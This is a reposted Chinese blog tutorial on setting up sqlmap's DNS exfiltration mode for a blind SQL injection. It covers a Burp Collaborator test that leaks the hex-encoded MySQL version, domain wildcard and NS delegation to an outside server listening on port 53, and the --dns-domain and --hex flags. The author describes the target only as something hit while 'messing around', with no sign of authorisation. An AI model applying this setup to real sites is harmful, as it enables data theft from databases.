首頁  >  文章  >  運維  >  sqlmap _dns注入配置方法是什麼

sqlmap _dns注入配置方法是什麼

WBOY
WBOY轉載
2023-05-12 12:25:061362瀏覽

網路上針對sqlmap進行dns注入的相關文章太少,只是簡單介紹了下--dns-domain參數,相關的實戰文章要么就寫的模糊或者一筆帶過,搞的雲裡霧裡(主要是菜,關鍵還沒大佬帶)。然後自己參考網路上的方法自己重新搞了一遍。

需要準備的東西,sqlmap、windows盲註一個、兩個網域、一台外網伺服器。

sqlmap _dns注入配置方法是什么

某次搞事情的時候碰到一個時間盲注,剛好是台windows的,想起dns注入的方法。

sqlmap _dns注入配置方法是什么

在開始前我準備先用sqlmap的--sql-shell 指令進行dns注入payload的測試

sqlmap _dns注入配置方法是什么

先到burpsuite中的collaborator client中複製出burp給我們安排的網域

在利用sqlmap執行sql語句

sqlmap _dns注入配置方法是什么

##Sqlmap還在跑的過程中burpsuite中已經接收到請求了。

sqlmap _dns注入配置方法是什么

352E362E3134.9hreqpopru1xgf9skq473yo14sajy8.burpcollaborator.net.

中的352E362E3134就是執行version()後返回的結果。

sqlmap _dns注入配置方法是什么

解碼取得到mysql的版本。好了至此這個點進行dns注入是沒毛病的。

準備配置網域2個,網路上有些文章說一個也行,但是總感覺較為麻煩,很多網域伺服器商也並未提供某些進階功能,所以還是準備兩個的簡單些。

www.a.com  

www.b.com

#首先我們來設定網域a-> a.com

sqlmap _dns注入配置方法是什么

只需要新增*進行泛解析指向我們的外網伺服器的ip就可以了。

在來設定我們的網域b->b.com

sqlmap _dns注入配置方法是什么

這就更簡單了,直接修改網域的dns,就填入ns1 .a.com ns2.a.com 就行了其他的都不用搞,照著填寫就行了。

然後等待網域生效。我們在到外網伺服器上來測試下看是否解析成功

sqlmap _dns注入配置方法是什么

伺服器上開始監聽53埠

sqlmap _dns注入配置方法是什么

然後本機ping hello.b.com 在外網伺服器上發我們已經能接受到hello.b.com的請求,而本機提示是找不到主機不用管,因為我們沒有設定解析。已經都配置完畢我們使用sqlmap進行dns注入即可。

sqlmap _dns注入配置方法是什么

Sqlmap中加入參數--dns-domain=b.com --hex即可

sqlmap _dns注入配置方法是什么

來到這一步sqlmap會卡住提示設定DNS伺服器實例

直接ctrl c

sqlmap _dns注入配置方法是什么

#提示透過DNS通道的資料檢索成功。

注入的速度就跟報錯和聯合一樣快了,再也不用忍受龜速了。

以上是sqlmap _dns注入配置方法是什麼的詳細內容。更多資訊請關注PHP中文網其他相關文章!

陳述:
本文轉載於:yisu.com。如有侵權,請聯絡admin@php.cn刪除